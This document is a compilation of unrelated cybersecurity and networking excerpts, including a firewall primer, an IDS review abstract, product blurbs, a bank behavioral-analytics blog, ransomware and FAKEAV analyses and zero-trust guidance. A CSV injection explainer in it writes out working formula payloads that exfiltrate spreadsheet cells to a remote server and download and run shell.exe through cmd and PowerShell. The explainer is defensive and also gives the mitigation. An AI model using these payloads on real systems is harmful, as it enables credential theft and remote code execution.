The term "INPUT" refers to any packet that is coming to this computer, "OUTPUT" means any packet that is generated by this computer and is leaving it. The term "FORWARD" also means the packets that are arriving from another computer but their final destination is one other computer. In fact we have used this computer to transit the packets between two different computers. The term "DROP" means that "the packet is not allowed through the firewall and the sender of the packet is not notified."2
In our firewall rule set, as you have seen above in section one, all incoming and outgoing packets are dropped unless we add new rules that allow our system to deal with. We have only allowed the system to use one connection by defining only one connection named "eth0" in the rules as follows: ... |
A Review of Intrusion Detection Datasets and Techniques
As network applications grow rapidly, network security mechanisms require more attention to improve speed and accuracy. The evolving nature of new types of intrusion poses a serious threat to network security: although many network securities tools have been developed, the rapid growth of intrusive activities is still a serious problem. Intrusion detection systems (IDS) are used to detect intrusive network activity. In order to prevent and detect the unauthorized access of any computer is a concern of Computer security. Hence computer security provides a measure of the level associated with Prevention and Detection which facilitate to avoid suspicious users. Deep learning have been widely used in recent years to improve intrusion detection in networks. These techniques allow the automatic detection of network traffic anomalies. This paper presents literature review on intrusion detection techniques.
How to Cite
Copyright (c) 2020 Sadhana Patidar, Priyanka Parihar, Chetan Agrawal
This work is licensed under a Creative Commons Attribution 4.0 International License.
IJOSCIENCE follows an Open Journal Access policy. Authors retain the copyright of the original work and grant the rights of publication to the publisher with the work simultaneously licensed under a Creative Commons CC BY License that allows others to distribute, remix, adapt, and build upon your work, even commercially, as long as they credit you for the original creation. Authors are permitted to post their work in institutional repositories, social media or other platforms.
Under the following terms:
- No additional restrictions — You may not apply legal terms or technological measures that legally restrict others from doing anything the license permits. |
The URL URL checker API scans a given URL or domain in real time to provide multiple data points regarding their risk level. This includes phishing, malware, and low-reputation domains used for fraudulent behavior. It also detects parked domains and common patterns for malicious URLs.
URI or Uniform Resource Locator is the unique code that locates a web resource on the World Wide Web (WWW). These codes are also called URLs and can be typed into any browser’s address bar or clicked by a link to open a webpage. URLs are a fundamental building block of the Web and rely on several parts to function.
Unlocking the Power of URL Checker APIs: A Comprehensive Guide
The first part is the Domain name, which represents the identity of the web server. The second part is the Path to the resource, which describes how to get to the specific file on the web server. Finally, the last part is the Port, which defines the technical gate used to access a particular resource on a web server. Some ports are mandatory while others can be added. |
Finding unmanaged cloud applications with Cloud App Discovery
In modern enterprises, IT departments are often not aware of all the cloud applications that members of their organization use to do their work. It is easy to see why administrators would have concerns about unauthorized access to corporate data, possible data leakage and other security risks. This lack of awareness can make creating a plan for dealing with these security risks seem daunting.
Cloud App Discovery is a feature of Azure Active Directory (AD) Premium that enables you to discover cloud applications being used by the people in your organization.
With Cloud App Discovery, you can:
- Find the cloud applications being used and measure that usage by number of users, volume of traffic or number of web requests to the application.
- Identify the users that are using an application.
- Export data for offline analysis.
- Bring these applications under IT control and enable single sign on for user management.
How it works
- Application usage agents are installed on user's computers.
- The application usage information captured by the agents is sent over a secure, encrypted channel to the cloud app discovery service.
- The Cloud App Discovery service evaluates the data and generates reports.
To get started with Cloud App Discovery, see Getting Started With Cloud App Discovery
- Cloud App Discovery Security and Privacy Considerations
- Cloud App Discovery Group Policy Deployment Guide
- Cloud App Discovery System Center Deployment Guide
- Cloud App Discovery Registry Settings for Proxy Servers with Custom Ports
- Cloud App Discovery Agent Changelog
- Cloud App Discovery Frequently Asked Questions
- Article Index for Application Management in Azure Active Directory |
The web service offers a web filtering database of website profiles that aids in classifying sites. A request specifying a web URI receives information about the site, including its category from a list of almost 100 types maintained by the service. The site's reputation index is also provided. Developers can use the data to track web use and enforce internet-use policies.
Methods allow retrieval of a current category list, categories assigned to a particular URI, and real-time updates to the URI database. The API also allows reporting of URIs not yet categorized and suggestions for category changes. |
Regery offers many TLDs (Top-Level Domains) by affordable prices. You will be able to get you domain name, and manage it and other products in a reliable and convenient way with our Control Panel. You can find many Country-level TLDs, Generic TLDs for business, entertainment, fun, marketing, technology, medicine.
The is the ccTLD, or country code top-level domain, is a domain extension reserved by a country, sovereign state or territory. Country code top-level domains are typically denoted by only being two characters, like .US, .UK or .DE. There are several ccTLDs that are also used as generic brand domain extensions, or gccTLDs, including .CO, .US, .ME, .WS, .GE or .LY
Generic top-level domains (gTLDs) are one of the categories of top-level domains (TLDs) maintained by the Internet Assigned Numbers Authority (IANA) for use in the Domain Name System of the Internet. Historically, the group of generic top-level domains included domains, created in the early development of the domain name system, that are now sponsored by designated agencies or organizations and are restricted to specific types of registrants. |
This option is a comma-separated list of URL patterns that are used by the crawler to determine whether
it will process a page. If the page’s URL matches one of these patterns, then the crawler will process
it. URLs which match
exclude_patterns will not be crawled even if they match the include pattern, except for start urls.
See: include and exclude patterns for a description on how include and exclude patterns work, and details on using regular expressions if required.
If you were crawling http://www.funnelback.com and wanted to download just the support directory (and nothing else), then you would use the following include pattern:
If you wanted to crawl the entire http://www.funnelback.com site then you would use:
You can include a protocol (http or https) in the pattern, but it is not usually necessary.
If you wanted to crawl every webserver in the Australian National University and University of Sydney domains:
|You should specify some form of include pattern for the webcrawler, otherwise it will start downloading content from the global web and fill up the hard disk.| |
Wireless sensor networking is an emerging technology, which supports many emerging applications due to their low cost, small size and untethered communication over short distances. Sensor nodes are deployed in open hostile environment in WSN applications. An adversary can easily compromise sensor nodes due to their unattended nature. Adversaries can inject false data reports into the WSN through compromised nodes. The false data reports lead the en-route nodes and the base station to make false decision. False decision depletes the energy of en-route nodes and the base station. |
Building and deploying infrastructure with Amazon Web Services is simply not the same as dealing with static servers. With tools that let you automatically replace instances and scale up and down in response to demand, it’s actually more like programming than traditional system administration—and ideal for a DevOps environment.
This comprehensive guide shows developers and system administrators alike how to configure and manage AWS services, such as CloudFormation, OpsWorks, Elastic Load Balancing, and Route 53. System administrators will learn how to integrate their favorite tools and processes, while developers will pick up enough system administration knowledge to build a robust and resilient AWS application infrastructure.
- Launch instances with EC2 or CloudFormation
- Apply AWS security tools at the beginning of your project
- Learn configuration management with OpsWorks and Puppet
- Deploy applications with Auto Scaling and Elastic Load Balancing
- Explore methods to deploy application and infrastructure updates
- Reuse resources to save time on development and operations
- Learn strategies for managing log files in AWS
- Configure a cloud-aware DNS service with Route 53
- Use CloudWatch or traditional tools to monitor your application
Table of Contents
Chapter 1. Setting Up AWS Tools Chapter 2. First Steps with EC2 and CloudFormation Chapter 3. Access Management and Security Groups Chapter 4. Configuration Management Chapter . An Example Application Stack Chapter 6. Auto Scaling and Elastic Load Balancing Chapter 7. Deployment Strategies Chapter 8. Building Reusable Components Chapter 9. Log Management Chapter 10. DNS with Route 53 Chapter 11. Monitoring Chapter 12. Backups
Title: AWS System Administration: Best Practices for Sysadmins in the Amazon Cloud Author: Federico Lucifredi, Mike Ryan Length: 278 pages Edition: 1 Language: English Publisher: O'Reilly Media Publication Date: 2015-11-25 ISBN-10: 1449342574 ISBN-13: 9781449342579
Book Download How to Download?
|Free Download Link||Format||Size (MB)|
|Click to download||PDF (5th Early Release)||5.8| |
A free utility called WireShark can be downloaded at https://www.wireshark.org/ . It's a network protocol analyzer. Go to the Interface list and select a network connection, and then click Start. Transmission Control Protocol (TCP) traffic is in green; and User Datagram Protocol (UDP) traffic is in light blue.
TCP network protocols will request lost files when a connection is lost. UDP will not do this if there is an interruption. TCP messages are always sent in order, whereas UDP messages can arrive out of order. If TCP messages do arrive out of order, resend requests are sent, and the sequence needs to be put back in order. Black rows in WireShark signify when a TCP connection has a problem like this. In UDP individual packets are sent one by one. TCP has packets but they are sent in a stream with nothing to show where one begins and another ends. The World Wide Web; SMTP email; FTP are examples of TCP. Voice over IP (VoIP) and Domain Name System (DNS) are UDP. |
The following is an alphabetical listing of the organizations discussed on the ITLaw Wiki.
“A standard-setting organization (also called a standards-setting organization, standards...Standard-setting organization
“The Open Knowledge Foundation (trading as Open Knowledge International) is a community-based...Open Knowledge Foundation
“The International Watch and Warning Network (IWWN) was established in 2004 to foster...International Watch and Warning Network
“The Canadian Information Highway Advisory Council (IHAC), composed entirely of people from...Information Highway Advisory Council
“A computer network defense service provider is an accredited organization responsible for...Computer network defense service provider
“The U.S. Transportation Command (TRANSCOM) ↑ Occupying the Information High Ground: Chinese...U.S. Transportation Command
Pages in category "Organization"
The following 200 pages are in this category, out of 2,151 total. |
In recent years we have observed an escalation of cybersecurity attacks, which are becoming more sophisticated and harder to detect as they use more advanced evasion techniques and encrypted communications. The research community has often proposed the use of machine learning techniques to overcome the limitations of traditional cybersecurity approaches based on rules and signatures, which are hard to maintain, require constant updates, and do not solve the problems of zero-day attacks. Unfortunately, machine learning is not the holy grail of cybersecurity: machine learning-based techniques are hard to develop due to the lack of annotated data, are often computationally intensive, they can be target of hard to detect adversarial attacks, and more importantly are often not able to provide explanations for the predicted outcomes. In this paper, we describe a novel approach to cybersecurity detection leveraging on the concept of security score. Our approach demonstrates that extracting signals via deep packet inspections paves the way for efficient detection using traffic analysis. This work has been validated against various traffic datasets containing network attacks, showing that it can effectively detect network threats without the complexity of machine learning-based solutions. |
Unveiling Anomalies — Strengthening Bank Security With Behavioral Analytics
Financial institutions must remain vigilant in protecting sensitive data and maintaining customer trust. A critical aspect of a robust security strategy is the ability to differentiate normal user, entity, and peer group behavior from abnormal, potentially malicious activities. In the previous post of this banking series, we discussed the importance of regular security updates. In this post, we’ll explore the significance of understanding and analyzing behavior as a method for banks to protect themselves and discuss tools and techniques banks can use to monitor and analyze behavior to help detect and mitigate cyberthreats.
In this article:
- The value of behavioral analytics in banking security
- Techniques for analyzing behavior
- Implementing behavioral analytics solutions
- Exabeam Security Operations Platform — behavioral analytics in action
- Stay tuned for the next post in the series
The value of behavioral analytics in banking security
Traditional detection methods, relying on static rules and signatures, often fall short in identifying and preventing modern cyberattacks. With adversaries and cybercriminals continuously adapting their tactics, techniques, and procedures (TTPs), banks cannot solely rely on known threat signatures to defend their systems.
With user and entity behavior analytics (UEBA), banks gain a deeper understanding of normal activity within their systems and detect anomalies signaling potential cyberthreats. Behavioral analytics can help detect various threats, including insider threats, compromised credentials, and lateral movement within the network.
Techniques for analyzing user behavior
Establishing a baseline for normal activity within a bank’s systems is the first step in analyzing behavior. This process involves collecting and analyzing data on user actions, such as login times, file access patterns, and network activity. By understanding normal behavior, banks can more accurately detect deviations indicating potential security risks.
After establishing a baseline for normal behavior, banks can use advanced analytics and machine learning algorithms to identify anomalies and unusual patterns in behavior. This could include sudden changes in login times, unusual data access patterns, or unexpected network connections. Identifying these anomalies helps banks detect potential cyberthreats early, allowing them to take action before significant damage occurs.
Not all detected anomalies in user behavior indicate a cyberattack. To avoid overwhelming security teams with benign alerts, banks should prioritize incidents based on factors such as the severity of the deviation from normal behavior, potential impact on systems and data, and the likelihood of malicious activity. Once incidents are prioritized, security teams investigate further to determine the root cause and appropriate action.
Implementing behavioral analytics solutions
Various tools and solutions help banks analyze user behavior and detect anomalies. These tools range from standalone UEBA solutions to integrated platforms combining UEBA with other security functions, such as security information and event management (SIEM). When selecting a behavioral analytics tool, banks should consider factors like ease of integration with existing systems, scalability, and customization and automation capabilities.
Behavior analysis should be an ongoing practice, with banks continuously monitoring activity and adjusting normal behavior baselines as needed. Regularly updating baselines ensures accurate anomaly detection as behavior and system usage patterns evolve. Additionally, banks should continuously evaluate and make adjustments to improve detection accuracy and reduce alert noise.
Behavioral analytics should be integrated into a comprehensive security strategy, including other essential measures like strong access controls, multifactor authentication (MFA), and regular security updates. Combining behavioral analytics with other security measures creates a multi-layered defense against cyberthreats.
Exabeam Security Operations Platform — behavioral analytics in action
The Exabeam Security Operations Platform incorporates UEBA to detect abnormalities in the behavior of users, machines, and peer groups. Its effectiveness lies in its ability to correlate multiple security events with known patterns of malicious behavior, providing security teams with a complete picture of threats.
For each event, the platform determines a risk score for the involved user or device and connects related events into a detailed timeline. This approach helps assess whether the combined events pose a threat to the organization. By correlating the behaviors identified as anomalous, security analysts can trace all the steps an attacker has taken and quickly pinpoint the threat.
Exabeam can identify various types of security events on a bank’s networks, including compromised credentials, malicious insiders, and lateral movement. By leveraging the UEBA capabilities of the Exabeam Security Operations Platform, banks are empowered to detect and mitigate cyberthreats.
Banks have the flexibility to either replace their existing SIEM with Exabeam SIEM or augment their existing SIEM or Data Lake with our analytics offerings – Exabeam Analytics and Exabeam Investigation.
Stay tuned for the next post in the series
Understanding and analyzing the behavior of users, entities, and peer groups is a critical component of a robust cybersecurity strategy for banks and other financial institutions. By implementing behavioral analytics tools and techniques and integrating them into a comprehensive security strategy, banks can strengthen their defenses against cyberattacks and protect their systems and data from unauthorized access. In these uncertain times, staying vigilant and adapting security measures to new threats is essential for maintaining customer trust and ensuring the ongoing success of banks in the digital age.
Stay tuned for the next post in our series on strengthening bank cybersecurity, where we’ll explore the importance of employee training, incident response, and creating a security-conscious culture.
Want to learn more about defending banks against cyberthreats?
Want to learn more about defending banks against cyberthreats?
Read our guide, Five Cybersecurity Essentials for Banks in Uncertain Times.
Banks are facing unprecedented challenges in securing their digital ecosystems while maintaining cost efficiency. With cybercriminals increasingly targeting the financial industry, your bank’s reputation as a trustworthy partner is at stake.
Don’t leave your bank exposed to the growing number of cyberthreats. Download our guide and learn how to bolster your defenses, protect sensitive customer data, and minimize the financial impact of cyberattacks.
- The importance of implementing multifactor authentication to secure customer data and prevent unauthorized access
- How to proactively identify potential threats using behavioral analytics
- Why abandoning legacy SIEM technology is essential for a modern and effective cybersecurity approach
With data breach costs averaging nearly $6 million, you can’t afford to leave your bank’s security to chance. Get our essential strategies for protecting your bank against cyberthreats.
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Here’s something a lot of you might not have thought much about: security vulnerabilities in your Excel sheet. Well, not in your Excel sheet, but how you transfer or export data onto them.
Many web applications provide functionality to export data onto spreadsheet files such as .CSV or .XLS. This data generally contains sensitive information that should be handled safely and securely. In web applications, ‘risk handling’ is related to input and output trust boundaries. In case of a CSV Injection attack, (output of) exporting the data to a spreadsheet could compromise the victim’s machine (untrusted output).
CSV Injection occurs when the data in a spreadsheet cell is not properly validated prior to export. The attacker usually injects a malicious payload (formula) into the input field. Once the data is exported, the spreadsheet executes the malicious payload on the assumption of a standard macro. This leads to the execution of arbitrary commands on target machine potentially even leading to a complete ‘command and control’ on the target system.
If that doesn’t sound fun, it’s because it’s not. So how do CSV Injection attacks work? And how do you protect yourself against them?
The Sum function is a standard formula to add two or more cells in Excel.
Seems pretty straightforward, right? So how does something like this actually turn rogue and attack the target system?
Here’s how it happens. Before displaying the spreadsheet content to the user, Excel first looks for formulae which begin with ‘=’ sign followed by the function to execute it. These formulae could crafted in such a way that malicious payloads that get executed when the CSV file is opened by the victim
There’s 3 key attacks that can be launched using a malicious formula:
- Hijacking the user’s computer by exploiting vulnerabilities in the spreadsheet software, such as CVE-2014-3524
- Hijacking the user’s computer by exploiting the user’s tendency to ignore security warnings in spreadsheets that they downloaded from their own website
- Exfiltrating contents from the spreadsheet, or other open spreadsheets.
This attack can be easily leveraged by an attacker by injecting different types of formulae into the cell:
- Using Excel’s HYPERLINK function
- Using Windows Command ‘cmd’
The formula HYPERLINK is used to exfiltrate confidential data from the cells. This attack is dangerous because HYPERLINK will not prompt any warnings when the victim clicks on the malicious link, and the cells containing confidential data are directly sent to the Attacker’s Web Server set up to capture such request payloads.
For example, consider a website that allows an administrator to export all user details: Username, Password, Transactions history and so on. If a malicious attacker sets his/her name as follows:
=HYPERLINK(“http://localhost:4444?leak=”&B2&B3&C2&C3,”Pls click for more info”)
When the victim opens the file and clicks on the link, the data is directly sent to the remote server.
Let’s see how the HYPERLINK is used by the malicious user to steal confidential data from the administrator exported .csv file.
The malicious user (Attacker) sets name (=HYPERLINK(malicious link)) in his/her profile. When victim exports the user data as .csv file and then opens the userdetails1.csv in , the (HYPERLINK) gets executed and the name field renders a link
Figure 1: The attacker sets a malicious Name (=HYPERLINK(malicious link)) in his profile
Figure 2: When victim open the exported CSV file, the attacker name shows the option of link
Now when the victim (administrator) clicks on the link, the other cells containing sensitive data like username and password are sent to the attacker’s server along with the URL (captured on a Web Server)
Figure 3: When the victim clicks on the link, the CSV file containing confidential data is captured on the attacker’s server
Here’s where it gets gets interesting; an attacker can use the DDE (Dynamic Data Exchange) formula to execute application commands on a victim’s MS Excel Windows.
For example, to open the calculator application on the target machine one would use the following:
=cmd|’ /C calc’!A1
However, this rather unassuming command can be extended to potentially cause devastating attacks on a target user. Unvalidated spreadsheet files with such DDE formulae could lead to users unwittingly succumbing to a complete command and control through a shell attack.
Read more: What does Security Regression Mean?
For example, consider the following command that sets a person’s name in a spreadsheet:
-2+3+cmd|’/C explorer http://192.168.0.12:8/shell.exe’!A1&cmd|’ /C %USERPROFILE%Downloadsshell.exe’!A1
Spreadsheet applications usually throw warnings when it detects malicious macros/scripts within native files. However, when users ignore or “accept” such warnings, injected scripts such as the above could render target systems completely compromised.
The above mentioned attack could also be exploited using Windows PowerShell,
=cmd|’ /C powershell Invoke-WebRequest “http://192.168.0.8:8/shell.exe” -OutFile “$env:Tempshell.exe”; Start-Process “$env:Tempshell.exe”‘!A1
Note: To exploit the command execution with the PowerShell, the victim machine should have PowerShell version 5.0 or above.
Similar to input validation of user-supplied data, application engineers must validate data prior to exporting them to native file formats, especially .csv and/or .xls files.
A strategy to mitigate Formula Injection would be to prefix a single quote (‘) for every formula which begins with the following symbols:
- Equals to (“=”)
- Plus (“+”)
- Minus (“-“)
- At (“@”)
This will ensure that the cell will not be intercepted as formula and even if the cell contains formula, the formula will be displayed as is. |
Apart from this, even probably the most advanced systems can’t assure 100 percent accuracy. What if a facial recognition system confuses a random consumer with a criminal? That’s not the factor someone needs to occur, however that is nonetheless potential.
How To View Multiple Safety Cameras On A Tv
Every 12 months, hundreds of thousands of linked cars, hundreds of hundreds of thousands of wearable and IoT gadgets, plus greater than 100 billion traces of new software code are added to the prevailing digital infrastructure of our world. No doubt, digital applied sciences and smart gadgets have vastly improved customer experience, increased enterprise agility, and ushered in an era of rapid digital innovation. But on the identical time, we should acknowledge that from a cybersecurity perspective, there are actually that many extra menace surfaces and attack vectors. Judging by how risk attackers use AI, the brief reply is sure, AI increases threats. When cyber criminals depend on human intelligence, they principally manually discover the vulnerabilities, even if they’re utilizing tools. |
Cybercriminals employ different but complementary techniques when it comes to propagating FAKEAV. Ultimately, however, their goal is to entice users to click malicious links that led to the download of different FAKEAV variants.
TrendLabsSM observed that cybercriminals typically employed blackhat engine optimizaton (SEO) to create poisoned pages that serve as doorways for FAKEAV distribution. These doorway pages, which primarily redirect unknowing users, are cross-linked with other doorway pages and well-known legitimate sites. This technique allows malicious pages to appear as top search results.
To further entice users to click malicious links, these doorway pages also contain content copied from various other websites. Cybercriminals also leverage trending topics, which can easily be found in Google Trends or through Twitter’s search page. These doorway pages often use the following format in search results:
Doorway pages are frequently contained in individual websites or in compromised Web hosting providers’ sites. Clicking malicious links redirected users several times until they reach a fake scanning page. These redirections help hide the actual URLs of the final landing pages and of the pages hosting the fake scanning results.
More than simple redirections, however, cybercriminals also use other techniques to redirect users to malicious pages. These include a combination of the following stealth tactics:
- Geo-targeting or IP delivery, which utilizes a user’s IP address to determine his/her geographic location and to deliver different content specific to his/her location.
- Blog scraping, which refers to regularly scanning blogs to search for and copy content using an automated software.
- Referer page-checking, which ensures that only users arriving via search engines will be included in the infection chain and prevents security analysts or system administrators to see anything malicious when they arrive via direct access to a doorway page.
- User-agent filtering, which refers to distinguishing between browsers to enable the OS-specific download of payloads.
After successfully employing any of these techniques, cybercriminals then lead users to a page hosting a bogus message prompt. These messages urge users to check the fake scanning results, which have been designed to scare them into purchasing the fake antivirus program.
Through these techniques, FAKEAV has become a recurrent theme in the threat landscape, as evidenced by another FAKEAV variant detected as TROJ_FAKEAV.QIEA. Trend Micro engineer Roland de la Paz notes that this new variant employs the same blackhat search engine optimization (SEO) technique that leverages man’s innate curiosity. As long as users turn to search engines like Google, Yahoo!, and Bing for more information, we can expect cybercriminals to carry on with their effective modus operandi.
Trend Micro product users need not worry, however, as Smart Protection Network™ already protects them from FAKEAV-related attacks by preventing access to malicious sites and domains via the Web reputation service. It also blocks the download and execution of related malicious files like TROJ_FAKEAV.QIEA on users’ systems.
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Owners of the U.S. registered trademark "CNN," sued the domain name "CNNews.com," registered by Maya Online Broad-bank Network ("Maya"), in U.S. Federal Court. In the lawsuit, CNN claimed that Maya had registered and was using the domain name in bad faith. Maya moved to dismiss the complaint and attacked the constitutionality of the ACPA's in rem jurisdiction provisions. Maya argued that in order for a domain name to be subject to U.S. jurisdiction, the domain name holder must have minimum contacts with the United States. Maya argued that, as a Chinese news company located and doing business exclusively within China-whose web site is in Chinese, with 99.5% of its registered users located within China, and the registrar for the domain name being located in China-Maya did not have sufficient minimum contacts with the United States to subject it to jurisdiction, consistent with the due process clause of the U.S. Constitution.
The Court denied Maya's motion to dismiss, holding that in rem jurisdiction was proper under the ACPA because the domain name itself was located within the forum, based on the presence of the Verisign Global Registry Services ("Verisign") (f/k/a Network Solutions, Inc.) -the ".com" registry, in Herndon, Virginia. This is an action against the physical property
A domain name is a physical piece of property and is located where it was created.
Cable News Network LP v. cnnews.com |
Artificial Intelligence; Dataset; Machine Learning; Feature Selection
Sentiment analysis, which aims to identify the positive or negative tone of a given text, has seen a surge in interest over the past two decades, making it one of the most studied areas of study in the fields of Natural Language Processing and Information Extraction. Due to the ambiguous nature of sarcasm, however, sarcasm detection is an essential part of sentiment analysis. The task becomes exceedingly challenging when applied to a language with a more intricate morphology and a lack of available resources, such as Telugu.
The dataset used in the study consists of different IoT network traffic data files each IoT traffic data has files containing benign, i.e. normal network traffic data, and malicious traffic data related to the most common IoT botnet attacks which are known as the Mirai botnet. |
Gets the number of Internet Control Message Protocol version 6 (ICMPv6) messages received because of a packet having an unreachable address in its destination.
Assembly: System (in System.dll)
A Destination Unreachable message can be sent to the computer that is the source of a packet for any of the following reasons:
The computer cannot find a route to the destination address.
Communication with the destination address is administratively prohibited. For example, a firewall prevents delivery of packets to the destination.
The destination address is unreachable.
The destination port is unreachable. For example, there is no listener available for the packet's protocol. |
Security is a key feature for most virtual-memory OSs. Given sufficient hardware controls, an OS lets an application perform any operation it likes. The OS will trap any operation that's restricted and either execute an appropriate, usually comparable action or notify the powers that be of the security infraction.
Common Criteria Evaluation Assurance Levels (EALs) number 1 (lowest) through 7 (highest). The U.S. government and other organizations use them to specify a system's level of proven security. The "proven" part is where the difficulty comes in. As systems grow in size and complexity, so does the difficulty in proving an EAL above 1.
With system virtualization, proving a system's vulnerability to security breaches becomes significantly easier, assuming the virtualization support can be proven secure. This usually isn't difficult because of the hypervisor's small size.
It's then possible to group OSs and applications by their security requirements. Proving that this system meets the design's security requirements may still be a big job on a large system. But additions to the system are now much easier, because only the subsystem where the new addition is placed needs confirmation.
Virtualization also makes policy-based security easier to implement for the same reason. A system manager can set up a new virtual space for a user or customer that's isolated from other OSs and applications. Likewise, it's now much easier to change while the system is running. |
Ransomware infections are very often launched as testers that infect computers but do not compromise users' files. The BlackHat ransomware is an example of how malware in development works. The infection is aimed at encrypting several hundred of file types, including the most commonly used types such as image files, video files, documents, etc. Supposing you lost access to your valuable data, the only safe way to restore your files would be backing the data up from the storage device or network. Fortunately, the BlackHat ransomware encrypts files located in the Test folder on the desktop. It is impossible not to notice that the computer is infected because the threat loads its ransom warning once the system starts up. You should stay calm because all that you have to do is remove the BlackHat ransomware from the computer.
The BlackHat ransomware would be indeed a highly dangerous threat if it was fully complete. The infection is coded in .NET and is almost identical to ransomware known as MoWare H.F.D and CryptGod, both of which are based in the open source Hidden Tear, which was initially created for educational purposes. However, the BlackHat ransomware is not based on this type of coding. Another feature differentiating it from its counterparts is the method of encryption which is XOR. The abbreviation XOR stands for exclusive-OR, which is based on a simple but yet unbreakable pattern used for encrypting data.
As mentioned above, the BlackHat ransomware is in its developmental stage, which was concluded because of its inability to encrypt files and connect to a remote command and control server. The analysis of the infection has shown that the ransomware attempts to connect to an inactive server at http://localhost/ggg/gen.php. Upon encryption, the threat ads the extension .H_F_D_locked, which again links the infection with the MoWare H.F.D ransomware.
An attempt to launch a malicious file results in the infection's duplicating itself in the AppData folder where it creates several directories and the file MoWare H.F.D.exe, which is delete once launched. Moreover, the infection creates its point of execution, which can be accessed by following the path HKCU\Software\Microsoft\Windows\CurrentVersion\Run::Blackhat, which has to be deleted as part of the infection in order to prevent the ransomware from being launched at the system startup.
When it comes to the attackers' demand, you are expected to pay a ransom of $200 in the Bitcoin currency, which has become very popular among cyber fraudsters. The ransom warning contains the address of the digital wallet to which the payment has to be made. According to the ransom note, the transaction is confirmed up to 30 minutes, and the victim is asked to inform the attacker about money submission by sending an email to [email protected]. Our strong advice is that you ignore the demand for the ransom because at the moment the infection does not affect your files. Even if it did, there are no guarantee that the fraudsters would fix your files so that you can use them as usual. You should remove the BlackHat ransomware without any delay so that you can avert further malware attacks. An infected and unprotected computer is an easy bait for various infections, so you should make sure that your PC is properly protected.
We recommend that you use anti-malware software for removing the BlackHat ransomware, which means that your computer will be fully scanned and all malicious files detected and deleted. By implementing a reputable security tool you shield your valuable files from Trojan horses, adware, spyware software, browser hijackers, to mention just a few types.
In case you are determined to remove the BlackHat ransomware by yourself, use our removal guide. The removal of the ransomware infection does not require consummate skills, but you should bear in mind that you terminate the threat at your own risk. After removing the infection, consider scanning the system to make sure that no other malicious files are present on the PC.
|#||File Name||File Size (Bytes)||File Hash|
|1||MoWare H.F.D.exe||762368 bytes||MD5: 38e9f085e69f238e0cdc2f09094e0b27|
|#||Process Name||Process Filename||Main module size|
|1||MoWare H.F.D.exe||MoWare H.F.D.exe||762368 bytes| |
Earlier this year, DISA released the zero trust reference architecture for the DoD. Per President Biden’s Executive Order on Improving the Nation’s Cybersecurity released this year, “the Federal Government must advance toward Zero Trust Architecture.” With motivations within the Federal Government and DoD to adopt zero trust, several of our clients have asked how zero trust might impact their product portfolios and future certification efforts on the DoDIN Approved Product List (APL).
Zero trust is a drastic shift in strategic network defense where previous assumptions of inherent security based on traditional physical and network security measures, such as secured datacenter installations, and trusted internal networks behind firewalls, are no longer considered adequate or trusted. Devices and applications operating on internal networks, and the internal organization personnel who operate and maintain them have long been a soft targets for intrusion given their inherent trust and often widely granted privileged access. Zero trusts look to re-address the issues associated with flawed implied trust models leveraged broadly throughout the any IT enterprise, datacenter, or campus network. While many of the concepts supporting zero trust are not new to security practitioners – they are a definitive change to the standard IT management practices on traditionally “trusted” networks. Zero trust guiding principals serve as the foundation of an overall strategy to rethink how access to IT resources is managed:
- Never trust, always verify – All users, devices, applications, workloads and data flow should be treated untrusted. Assumed trust should never be granted – instead require authentication and explicit authorization for each of these categories as they operate. Least privilege, a concept that is not new to the U.S. Government, should be enforced through use of dynamic security policies that take into account not only identity and Role-based Access Control (RBAC), but also consider trend and expected behavioral analytics as part of rights management.
- Assume breach – Treat the environment as if it has been compromised already, and implement security practices that limit lateral attack vectors. Implement default deny policies on access control lists, both within the network and on end points. Perform logging and inspection of all activities within the architecture, to include user and device actions, data flow both across the network and within a system, and all use of resources or requests to access resources – and implement methods to continually monitor the activities for any suspicious or unexpected behaviors.
- Verify explicitly – Perform access management to all resources using secure methods that are consistent, and use multiple decision points to determine both the context and need for requested access.
Here are some practical examples where zero trust relates to traditional thinking.
|Traditional Thinking||Zero Trust Thinking||What Developers Can Do To Align Products|
|Sysadmins all have security clearance and have gone through a background check. They are trusted to have full, unfettered access to my network systems.||Sysadmins could present as an insider threat either inadvertently or with malicious intent, so even though they have been vetted for risk factors to national security, they should not be explicitly trusted to operate freely within the network. Instead, their access should always be tied to strong authentication, with explicit authorization for the least amount of access required to perform their duties. Each attempt to access resources should be validated uniquely and based on the context of the access request. Further, their access should be continually monitored and evaluated for unexpected behaviors that may indicate unauthorized activities.||
|Systems behind my firewall are on a trusted DoD network, so I don’t need to be concerned with my devices communicating between one another on the internal LAN.||Even internal networks are subject to compromise, and should not be considered explicitly trusted. Instead, communications across any network plane regardless of logical location within a security boundary should be protected with encryption and strong multi-factor authentication wherever technically feasible. Access controls should be enforced even for internal communication, providing a least privilege access model by enforcing specific endpoint, port and protocol based network access controls. Internal networks should not be left as a soft target for easy access to an insider threat, or breach of an internal device.||
|The application is installed on a STIG compliant server within my secure datacenter, on an internal network, and doesn’t have any active CVEs showing up in Nessus based ACAS scans. Its safe to assume the application is secure and not a threat.||Both physical and network security are subject to compromise. In addition, IP vulnerability scanners such as Nessus based ACAS are only able to inspect for known CVEs and vulnerabilities. There is a persistent risk of unknown vulnerabilities in applications that can be introduced both unintended by developers, or by malicious actors who have compromised the vendors supply chain. As such, it should be assumed that even with no active indicators of open vulnerabilities, software may have unknown vulnerabilities or compromises that have yet to be discovered by security researchers – but are known to adversaries. Applications should always be configured to operate with a least privilege model using a range of both discretionary and mandatory access controls to enforce access restrictions. Applications that interoperate with other components of the system architecture should always use encryption and strong multi-factor authentication wherever technically feasible – and their associated system and service accounts should also be tied to a least privilege model. The application should be continually monitored and evaluated for unexpected behaviors that may indicate unauthorized activities.||
|The service account sometimes needs privileged access to a resource, so that privileged access should be always enabled for the service account.||Identifying the specific workflows requiring resource access, and then tailoring dynamic security policies with multiple attributes that combine into a confidence driven policy for access management to resources on a case by case, conditional basis provides access only when explicitly required, and prevents arbitrary use of resources that may fall outside of intentional workflow. By using a confidence metric, it provides an additional method to detect and prevent abnormal attempts to access resources.||
- DoD Zero Trust Reference Architecture
- NSA Embracing a Zero Trust Security Model
- Executive Order on Improving the Nation’s Cybersecurity
Are you a product vendor or DoD agency confused on where to get started? Get in touch with us today, we can help! |
It used to be tracking down malicious programs was a simple matter of firing up Task Manager, looking for any unusual processes and cleaning them out manually. These days, viruses and Trojans are not only more sophisticated, but creative in hiding their presence. CrowdInspect is one tool that can make it easier to identifying nefarious apps, using a variety of scanning APIs.
